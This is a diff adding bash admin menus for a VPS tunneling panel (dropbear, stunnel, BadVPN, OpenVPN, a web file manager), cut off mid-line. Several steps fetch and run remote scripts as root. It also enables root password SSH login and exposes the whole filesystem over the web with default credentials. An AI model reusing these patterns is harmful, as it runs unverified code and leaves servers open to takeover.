+NO_START=0 +DROPBEAR_EXTRA_ARGS="VAR" +DROPBEAR_BANNER="/etc/dropbear/banner" +DROPBEAR_RECEIVE_WINDOW=65536 +EOF +for dpts in $(echo $PORT); do +sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear +done +sed -i "s/VAR//g" /etc/default/dropbear +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes" > /etc/ssh/sshd_config +echo -e "${cor[2]} $(fun_trans "Instalando dropbear")" +msg -bar +fun_bar "apt-get install dropbear -y" +touch /etc/dropbear/banner +msg -bar +echo -e "${cor[2]} $(fun_trans "Configurando dropbear")" +msg -bar +cat < /etc/default/dropbear +NO_START=0 +DROPBEAR_EXTRA_ARGS="VAR" +DROPBEAR_BANNER="/etc/dropbear/banner" +DROPBEAR_RECEIVE_WINDOW=65536 +EOF +for dpts in $(echo $PORT); do +sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear +done +sed -i "s/VAR//g" /etc/default/dropbear +} +fun_eth &>/dev/null +service ssh restart > /dev/null 2>&1 +service dropbear restart > /dev/null 2>&1 +echo -e "${cor[3]} $(fun_trans "Su dropbear ha sido configurado con EXITO")" +msg -bar +#UFW +for ufww in $(mportas|awk '{print $2}'); do +ufw allow $ufww > /dev/null 2>&1 +done +} +fun_dropbear diff --git a/Recursos/test/front.sh b/Recursos/test/front.sh new file mode 100644 index 0000000..9c9ac05 --- /dev/null +++ b/Recursos/test/front.sh @@ -0,0 +1,223 @@ +#!/bin/bash +#PUTO EL QUE LO DESENCRIPTA +#colores +lor1='\033[1;31m';lor2='\033[1;32m';lor3='\033[1;33m';lor4='\033[1;34m';lor5='\033[1;35m';lor6='\033[1;36m';lor7='\033[1;37m' + +fun_bar () { + comando[0]="$1" + comando[1]="$2" + ( + [[ -e $HOME/fim ]] && rm $HOME/fim + ${comando[0]} > /dev/null 2>&1 + ${comando[1]} > /dev/null 2>&1 + touch $HOME/fim + ) > /dev/null 2>&1 & + tput civis + echo -e "${lor7}---------------------------------------------------${lor7}" + echo -ne "${lor7} ESPERE.${lor1}[" + while true; do + for((i=0; i<18; i++)); do + echo -ne "${lor5}#" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "${col5}" + sleep 0.3s + tput cuu1 + tput dl1 + echo -ne "${lor7} WAIT..${lor1}[" + done + echo -e "${lor1}]${lor7} -${lor7} FINISHED ${lor7}" + tput cnorm + echo -e "${lor7}---------------------------------------------------${lor7}" + } + +banner=" ___ _ _ _ _ + / _ \_ __ ___ | |_ ___ /\ /(_) | | + / /_)/ '__/ _ \| __/ _ \ / //_/ | | | + / ___/| | | (_) | || (_) / __ \| | | | + \/ |_| \___/ \__\___/\/ \/|_|_|_| " + +espe () { +echo -e "${lor7}" +read -p " Enter to Continue.. 0 to return" +} + +clear&&clear +echo -e "${lor4}***************************************************${lor7}" +echo -e "${lor2} SSL STUNNEL MANAGER " +echo -e "${lor1}===================================================${lor7} " +echo -e "${lor4}$banner ${lor7}" +echo -e "${lor7} Mini Script Panel created by @KillShito " +echo -e "${lor1}[-]——————————————————————————————————————————————[-]${lor7}" +[[ $(netstat -nplt |grep 'stunnel4') ]] && sessl="STOP SERVICE ${lor2}ON" || sessl="START SERVICE ${lor1}OFF" +echo -e "${lor7}[${lor2}1${lor7}] ${lor3}==>${lor7} INSTALL SSL STUNNEL" +echo -e "${lor7}[${lor2}2${lor7}] ${lor3}==>${lor7} UNINSTALL SSL STUNNEL " +echo -e "${lor7}[${lor2}3${lor7}] ${lor3}==>${lor7} ADD NEW PORT " +echo -e "${lor7}[${lor2}4${lor7}] ${lor3}==>${lor7} $sessl " +echo -e "${lor7}[${lor2}5${lor7}] ${lor3}==>${lor7} CERTIFICATE " +echo -e "${lor1}[-]——————————————————————————————————————————————[-]${lor7}" +echo -e "${lor7}[${lor2}0${lor7}] ${lor3}==>${lor7} SALIR " +echo -e "${lor1}[-]——————————————————————————————————————————————[-]${lor7}" +read -p "SELECT OPTION :" opci +if [ "$opci" = "1" ];then +if [ -f /etc/stunnel/stunnel.conf ]; then +echo;echo -e "${lor1} ALREADY INSTALLED" +else +echo;echo -e "${lor7} Local port ${lor6}" +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +read -p " PORTA :" -e -i $pt PT +echo;echo -e "${lor7} Listen-SSL ${lor6}" +read -p " PORTA :" sslpt +if [ -z $sslpt ]; then +echo;echo -e "${lor1} INVALID PORT" +else +if (echo $sslpt | egrep '[^0-9]' &> /dev/null);then +echo;echo -e "${lor1} YOU MUST ENTER A NUMBER" +else +if lsof -Pi :$sslpt -sTCP:LISTEN -t >/dev/null ; then +echo;echo -e "${lor1} THE PORT IS ALREADY IN USE" +else +inst_ssl () { +apt-get purge stunnel4 -y +apt-get purge stunnel -y +apt-get install stunnel -y +apt-get install stunnel4 -y +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${PT}\naccept = ${sslpt}" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(wget -qO- ifconfig.me):81" ; echo "" ; echo "" ; echo "" ; echo "@drowkid01")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +rm -rf key.pem;rm -rf cert.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart +service stunnel restart +service stunnel4 start +} +fun_bar 'inst_ssl' +echo;echo -e "${lor2} SSL STUNNEL INSTALLED " +fi;fi;fi;fi +fi +if [ "$opci" = "2" ];then +del_ssl () { +service stunnel4 stop +apt-get remove stunnel4 -y +apt-get purge stunnel4 -y +apt-get purge stunnel -y +rm -rf /etc/stunnel +rm -rf /etc/stunnel/stunnel.conf +rm -rf /etc/default/stunnel4 +rm -rf /etc/stunnel/stunnel.pem +} +fun_bar 'del_ssl' +echo;echo -e "${lor2} SSL STUNNEL WAS REMOVED " +fi +if [ "$opci" = "3" ];then +if [ -f /etc/stunnel/stunnel.conf ]; then +echo;echo -e "${lor7}Enter a name for the SSL Redirector${lor6}" +read -p " :" -e -i stunnel namessl +echo;echo -e "${lor7}Enter the port of the Service to bind${lor6}" +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +read -p " :" -e -i $pt PT +echo;echo -e "${lor7}Enter the New SSL Port${lor6}" +read -p " :" sslpt +if [ -z $sslpt ]; then +echo;echo -e "${lor1} INVALID PORT" +else +if (echo $sslpt | egrep '[^0-9]' &> /dev/null);then +echo;echo -e "${lor1} YOU MUST ENTER A NUMBER" +else +if lsof -Pi :$sslpt -sTCP:LISTEN -t >/dev/null ; then +echo;echo -e "${lor1} THE PORT IS ALREADY IN USE" +else +addgf () { +echo -e "\n[$namessl] " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$PT" >> /etc/stunnel/stunnel.conf +echo "accept = $sslpt " >> /etc/stunnel/stunnel.conf +service stunnel4 restart 1> /dev/null 2> /dev/null +service stunnel restart 1> /dev/null 2> /dev/null +sleep 2 +} +fun_bar 'addgf' +echo;echo -e "${lor2} NEW PORT ADDED $sslpt !${lor7}" +fi;fi;fi +else +echo;echo -e "${lor1} SSL STUNEEL NOT INSTALLED !${lor7}" +fi +fi +if [ "$opci" = "4" ];then +if [ -f /etc/stunnel/stunnel.conf ];then +if netstat -nltp|grep 'stunnel4' > /dev/null; then +service stunnel stop 1> /dev/null 2> /dev/null +service stunnel4 stop 1> /dev/null 2> /dev/null +echo;echo -e "${lor1} SERVICE STOPPED " +else +service stunnel start 1> /dev/null 2> /dev/null +service stunnel4 start 1> /dev/null 2> /dev/null +echo;echo -e "${lor2} SERVICE STARTED " +fi +else +echo;echo -e "${lor1} SSL STUNNEL IS NOT INSTALLED " +fi +fi + +if [ "$opci" = "5" ];then +if [ -f /etc/stunnel/stunnel.conf ]; then +insapa2(){ +for pid in $(pgrep python);do +kill $pid +done +for pid in $(pgrep apache2);do +kill $pid +done +service dropbear stop +apt install apache2 -y +echo "Listen 80 + + + Listen 443 + + + + Listen 443 + " > /etc/apache2/ports.conf +service apache2 restart +} +fun_bar 'insapa2' +echo;echo -e "${lor7} Verify Domain ${lor6}" +read -p " KEY:" keyy +echo +read -p " DATA:" dat2w +mkdir -p /var/www/html/.well-known/pki-validation/ +datfr1=$(echo "$dat2w"|awk '{print $1}') +datfr2=$(echo "$dat2w"|awk '{print $2}') +datfr3=$(echo "$dat2w"|awk '{print $3}') +echo -ne "${datfr1}\n${datfr2}\n${datfr3}" >/var/www/html/.well-known/pki-validation/$keyy.txt +echo;echo -e "${lor3} CHECK ON THE ZEROSSL PAGE ${lor7}" +read -p " ENTER TO CONTINUE" +echo;echo -e "${lor7} CERTIFICATE LINK ${lor6}" +echo -e "${lor6} LINK ${lor1}> ${lor7}\c" +read linksd +inscerts(){ +wget $linksd -O /etc/stunnel/certificado.zip +cd /etc/stunnel/ +unzip certificado.zip +cat private.key certificate.crt ca_bundle.crt > stunnel.pem +service stunnel restart +service stunnel4 restart +} +fun_bar 'inscerts' +sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf +service apache2 restart > /dev/null +echo;echo -e "${lor2} CERTIFICATE INSTALLED ${lor7}" +else +echo;echo -e "${lor1} SSL STUNNEL IS NOT INSTALLED " +fi +fi +[[ $opci = "0" ]] && { +sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf +service apache2 restart + exit && menu + } +espe +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/front.sh) diff --git a/Recursos/test/h_beta.sh b/Recursos/test/h_beta.sh new file mode 100644 index 0000000..299e115 --- /dev/null +++ b/Recursos/test/h_beta.sh @@ -0,0 +1,288 @@ +#!/bin/bash +# + + verif_ptrs() { + porta=$1 + PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN") + for pton in $(echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq); do + svcs=$(echo -e "$PT" | grep -w "$pton" | awk '{print $1}' | uniq) + [[ "$porta" = "$pton" ]] && { + echo -e "\n\033[1;31mPUERTO \033[1;33m$porta \033[1;31mOCUPADO POR \033[1;37m$svcs\033[0m" + sleep 0.5 + return 0 + } + done + } + +source msg +fun_openssh() { + clear + echo -e "\E[44;1;37m OPENSSH \E[0m\n" + echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m• \033[1;33mADICIONAR PORTA\033[1;31m +[\033[1;36m2\033[1;31m] \033[1;37m• \033[1;33mREMOVER PORTA\033[1;31m +[\033[1;36m3\033[1;31m] \033[1;37m• \033[1;33mVOLTAR\033[0m" + echo "" + echo -ne "\033[1;32mOQUE DESEJA FAZER \033[1;33m?\033[1;37m " + read resp + if [[ "$resp" = '1' ]]; then + clear + echo -e "\E[44;1;37m ADICIONAR PORTA AO SSH \E[0m\n" + echo -ne "\033[1;32mQUAL PORTA DESEJA ADICIONAR \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPorta invalida!" + sleep 3 + return 0 + } + verif_ptrs $pt + echo -e "\n\033[1;32mADICIONANDO PORTA AO SSH\033[0m" + echo "" + fun_addpssh() { + echo "Port $pt" >>/etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_addpssh' + echo -e "\n\033[1;32mPORTA ADICIONADA COM SUCESSO\033[0m" + sleep 3 + return 0 + elif [[ "$resp" = '2' ]]; then + clear + echo -e "\E[41;1;37m REMOVER PORTA DO SSH \E[0m" + echo -e "\n\033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mPORTA PADRAO \033[1;37m22 \033[1;33mCUIDADO !\033[0m" + echo -e "\n\033[1;33mPUERTAS SSH EN USO: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\n" + echo -ne "\033[1;32mQUE PUERTO DESEAS REMOVER \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPUERTO INVALIDO!" + sleep 2 + return 0 + } + [[ $(grep -wc "$pt" '/etc/ssh/sshd_config') != '0' ]] && { + echo -e "\n\033[1;32mREMOVENDO PUERTO DE SSH\033[0m" + echo "" + fun_delpssh() { + sed -i "/Port $pt/d" /etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_delpssh' + echo -e "\n\033[1;32mPORTA REMOVIDA COM SUCESSO\033[0m" + sleep 2 + return 0 + } || { + echo -e "\n\033[1;31mPorta invalida!" + sleep 2 + return 0 + } + elif [[ "$resp" = '3' ]]; then + echo -e "\n\033[1;31mRetornando.." + sleep 2 + return 0 + else + echo -e "\n\033[1;31mOpcao invalida!" + sleep 2 + return 0 + fi + } + + +menu_udp () { +_udp=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "badvpn-ud"|awk '{print $1}') +[[ -z $_udp ]] && v_udp="\e[31m[ OFF ]" || v_udp="\e[32m[ ON ] " +msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮ ${cor[3]} PARAR TODOS LOS BADVPN $v_udp" +echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮ ${cor[3]} ADD + BADVPN ( CUSTOM PORT )" +#echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮ ${cor[3]} AGREGAR / REMOVER HOST-SQUID" +#echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮ ${cor[3]} DESINSTALAR SQUID" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +0) +return 0 +;; +1) +for pid in $(pgrep badvpn-udpgw);do +kill $pid +done +return 0 +;; +2) +badcustom +return 0 +;; +esac +} + +badcustom () { +msg -bar +echo -e "BIENVENIDO AL MENU DE CUSTOM PORT " +msg -bar +read -p " DIJITA TU PUERTO CUSTOM PARA BADVPN :" -e -i "7100" port +echo -e " VERIFICANDO BADVPN " +msg -bar +screen -dmS badvpn$port /bin/badvpn-udpgw --listen-addr 127.0.0.1:${port} --max-clients 10000 --max-connections-for-client 10000 --client-socket-sndbuf 10000 && msg -ama " BadVPN ACTIVADA CON EXITO" || msg -ama " Error al Activar BadVPN" +echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'badvpn'$port -X quit; screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:${port} --max-clients 10000 --max-connections-for-client 10000 --client-socket-sndbuf 10000; }" >>/bin/autoboot +msg -bar +#echo -e "" + +} + +_badfix () { +https://github.com/rudi9999/ADMRufu/raw/main/Utils/badvpn/badvpn-master.zip + +} + +packobs () { +msg -ama "Buscando Paquetes Obsoletos" +dpkg -l | grep -i ^rc +msg -ama "Limpiando Paquetes Obsoloteos" +dpkg -l |grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge +sudo sync +sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1 +msg -ama "Limpieza Completa" +} + +############ + +SCPdir="/etc/adm-lite" +#SCPfrm="${SCPdir}" && [[ ! -d ${SCPfrm} ]] && exit +#SCPinst="${SCPdir}"&& [[ ! -d ${SCPinst} ]] && exit +#declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" [5]="\e[1;36m" ) + +#LISTA PORTAS +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1:$var2")" ]] || portas+="$var1:$var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +fun_bar () { +comando="$1" +_=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo tput cuu1 tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} + +fun_apache () { +echo -e "FUNCION DE MENU APACHE MODO BETA" +msg -bar +read -p " INGRESA PUERTO APACHE NUEVO :" nwPP +[[ -z $nwPP ]] && nwPP="81" +msg -bar +echo "ESPERE MIENTRAS COMPLETAMOS EL PROCESO" +fun_bar "apt purge apache2 -y " +echo "REINSTALANDO Y RECONFIGURANDO" +fun_bar "apt install apache2 -y " +sed -i "s;Listen 80;Listen ${nwPP};g" /etc/apache2/ports.conf +echo "REINICIANDO Y APLICANDO CAMBIOS" +service apache2 restart &>/dev/null +} + +filemanager () { +[[ $(ps x | grep filebrowser | grep -v grep) ]] && { +killall filebrowser &> /dev/null +} || { +[[ -z $(which filebrowser) ]] && curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash &> /dev/null +read -p " INGRESA PUERTO : " webrowser +nohup filebrowser -a $(ip -4 addr | sed -ne 's|^.* inet \([^/]*\)/.* scope global.*$|\1|p' | awk '{print $1}' | head -1) -b / -p ${webrowser} -r /root/& > /dev/null +msg -bar2 +echo "" +echo -e " SERVICIO ACTIVO EN URL : http://$(wget -qO- ifconfig.me):${webrowser}/" +echo "" +echo -e " ACCEDE CON LAS CREDENCIALES : admin " +echo "" +msg -bar2 +} +read -p " PRESIONA ENTER PARA CONTINUAR" +} + + +if netstat -tnlp |grep 'apache2' &>/dev/null; then +_apa="\e[32m[ ON ] " +else +_apa="\e[31m[ OFF ]" +fi +clear&&clear +[[ -e /etc/wireguard/params ]] && _wir="\e[32m[ ON ] " || _wir="\e[31m[ OFF ]" +[[ $(ps x | grep filebrowser | grep -v grep) ]] && file="\e[32m[ ON ] " || file="\e[31m[ OFF ]" +msg -bar2 +echo -e " \033[7;49;35m =>►► 🐲 FUNCIONES ALTERNS ChumoGH💥VPS 🐲 ◄◄<= \033[0m\033[1;31m" +msg -bar2 +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m PUERTO APACHE CUSTOM ${_apa} " +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;33m LIMPIAR RAM && PAQUETES ANTIGUOS " +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;31m ADD / REMOVE PORTS CUSTOM BADVPN " +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m➮\033[0;31m ADD / REMOVE PORTS CUSTOM OPENSSH " +echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m➮\033[0;31m TROJAN GO - BETA " +echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m➮\033[0;31m CREAR CERTIFICADO CON DOMINIO " +echo -e " \033[0;35m[\033[0;36m7\033[0;35m] \033[0;34m➮\033[0;31m Modulo WireGuard VPN Client ${_wir} " +echo -e " \033[0;35m[\033[0;36m8\033[0;35m] \033[0;34m➮\033[0;31m FIILEMANAGER WEB ${file} " +msg -bar2 +echo -e " \033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m➮\033[0;33m $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m") " +msg -bar2 + selection=$(selection_fun 8) +case ${selection} in +0) +return 0 +;; +1) +fun_apache +return 0 +;; +2) +packobs +return 0 +;; +3) +menu_udp +return 0 +;; +4) +fun_openssh +return 0 +;; +5) +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/h_beta-sh/trojan-go) +;; +6) +clear&&clear +echo -e "================================================" +echo -e "A CONTINUACION CREAREMOS UN CETIFICADO SSL" +echo -e " LA VERIFICACION ES MEDIANTE DOMINIO" +echo -e " NECECITAS TENER EL PUERTO 80 Y 443 LIBRES" +echo -e "================================================" +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/certificadossl.sh) +echo -e "================================================" +echo -e "" +echo -e "================================================" +echo -e " SI LA EMICION FUE CORRECTA, TU CERTIFICADO" +echo -e " SE ENCUENTR ALOJADO EN /data " +echo -e "================================================" +echo -e " /data/cert.crt && /data/cert.key " +echo -e "================================================" +echo -e "" +;; +7) +rm -f /tmp/wireguard-install.sh* && wget -q -O /tmp/wireguard-install.sh https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/h_beta-sh/wireguard-install.sh && chmod +x /tmp/wireguard-install.sh && /tmp/wireguard-install.sh +;; +8) +filemanager +;; +esac + diff --git a/Recursos/test/openvpn.sh b/Recursos/test/openvpn.sh new file mode 100644 index 0000000..7f6b54f --- /dev/null +++ b/Recursos/test/openvpn.sh @@ -0,0 +1,47 @@ +#!/bin/bash +#19/12/2019 +clear +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir /etc/ger-frm +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && mkdir /etc/ger-inst +#source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +source msg +menu_org () { +sudo bash -c "$(curl -fsSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/openvpnmenu.sh)" +} + +menu_kali () { +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir /etc/ger-frm +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && mkdir /etc/ger-inst +SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && mkdir ${SCPdir} +SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPdir}/herramientas +SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && mkdir ${SCPdir}/protocolos +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +wget -O /tmp/openvpn.sh -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/openvpnmenu.sh && chmod +x /tmp/openvpn.sh && cd /tmp && ./openvpn.sh && cd + +#source <(curl -sL https://www.dropbox.com/s/omykq6x27ua54fb/openvpn-install.sh) + +} +source /etc/adm-lite/cabecalho +echo -e $barra +#echo -e " \033[1;42mBIENVENIDO NUEVAMENTE!\033[0m" +#echo -e $barra +#echo -e " \033[1;44mEstas Funciones Aun no estan Completas\033[0m, \n \033[1;44mpor lo que pueden presentar errores criticos\033[0m,\n \033[1;44mUselas bajo su Propio Riesgo\033[0m" +echo -e $barra +#echo -ne $(msg -verm2 " Instalador OpenVPN") && msg -azu " ( Estado Critico ) " +echo " " +echo -e $barra +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INICIAR Menu OPENVPN Original " +#echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m INICIAR Menu OPENVPN By @Kalix1" +echo -e $barra +#echo -e "\033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m SALIR" +#unset inst +#echo -e $barra +#echo -ne "\033[97m ESCOJE [ 1 / 2 ]: " +#read inst +sleep 5s +#[[ $inst = "1" ]] && +menu_org +#[[ $inst = "2" ]] && menu_kali +#[[ $inst = "3" ]] && stop_ser +#[[ $inst = "0" ]] && menu diff --git a/Recursos/test/openvpnmenu.sh b/Recursos/test/openvpnmenu.sh new file mode 100644 index 0000000..fa3cd7c --- /dev/null +++ b/Recursos/test/openvpnmenu.sh @@ -0,0 +1,595 @@ +#!/bin/bash +#19/12/2019 +clear&&clear +enter () { +read -p "Enter para Continuar" +} +# Funcoes Globais +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[91m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;97m' #MAG='\033[1;36m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1) COLOR[$COL]='\033[1;37m';; +2) COLOR[$COL]='\e[31m';; +3) COLOR[$COL]='\e[32m';; +4) COLOR[$COL]='\e[33m';; +5) COLOR[$COL]='\e[34m';; +6) COLOR[$COL]='\033[0;35m';; +7) COLOR[$COL]='\033[1;36m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2) cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}";; + "-bar2"|"-bar") cor="${COLOR[6]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + esac +} + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +print_center(){ + local x + local y + text="$*" + x=$(( ($(tput cols) - ${#text}) / 2)) + echo -ne "\E[6n";read -sdR y; y=$(echo -ne "${y#*[}" | cut -d';' -f1) + echo -ne "\033[${y};${x}f$*" + echo "" +} + +msg -bar + +# MENU FLUTUANTE +menu_func () { +local options=${#@} +local array +for((num=1; num<=$options; num++)); do +echo -ne " $(msg -verd "[$num]") $(msg -verm2 "➮") " + array=(${!num}) + case ${array[0]} in + "-vd") msg -verd "\033[1;33m[!]\033[1;32m ${array[@]:1}" | sed ':a;N;$!ba;s/\n/ /g';; + "-vm") msg -verm2 "\033[1;33m[!]\033[1;31m ${array[@]:1}" | sed ':a;N;$!ba;s/\n/ /g';; + "-fi") msg -azu "${array[@]:2} ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g';; + *) msg -azu "${array[@]}" | sed ':a;N;$!ba;s/\n/ /g';; + esac +done +} + + +meu_ip () { +[[ -e /etc/catIPlocal && -e /etc/catIP ]] && { +MEU_IP=$(cat < /etc/catIPlocal) +MEU_IP2=$(cat < /etc/catIP) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} || { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) && echo $MEU_IP > /etc/catIPlocal +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) && echo $MEU_IP2 > /etc/catIP +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} +} + +# Detect Debian users running the script with "sh" instead of bash +if readlink /proc/$$/exe | grep -q "dash"; then + print_center "Este script se utiliza con bash" + enter +fi + +if [[ "$EUID" -ne 0 ]]; then + print_center "Sorry, solo funciona como root" + enter +fi + +if [[ ! -e /dev/net/tun ]]; then + print_center "El TUN device no esta disponible" + print_center "Necesitas habilitar TUN antes de usar este script" + enter +fi + +if [[ -e /etc/debian_version ]]; then + OS=debian + GROUPNAME=nogroup + RCLOCAL='/etc/rc.local' +elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then + OS=centos + GROUPNAME=nobody + RCLOCAL='/etc/rc.d/rc.local' +else + print_center "Sistema no compatible para este script" + enter +fi +del(){ + for (( i = 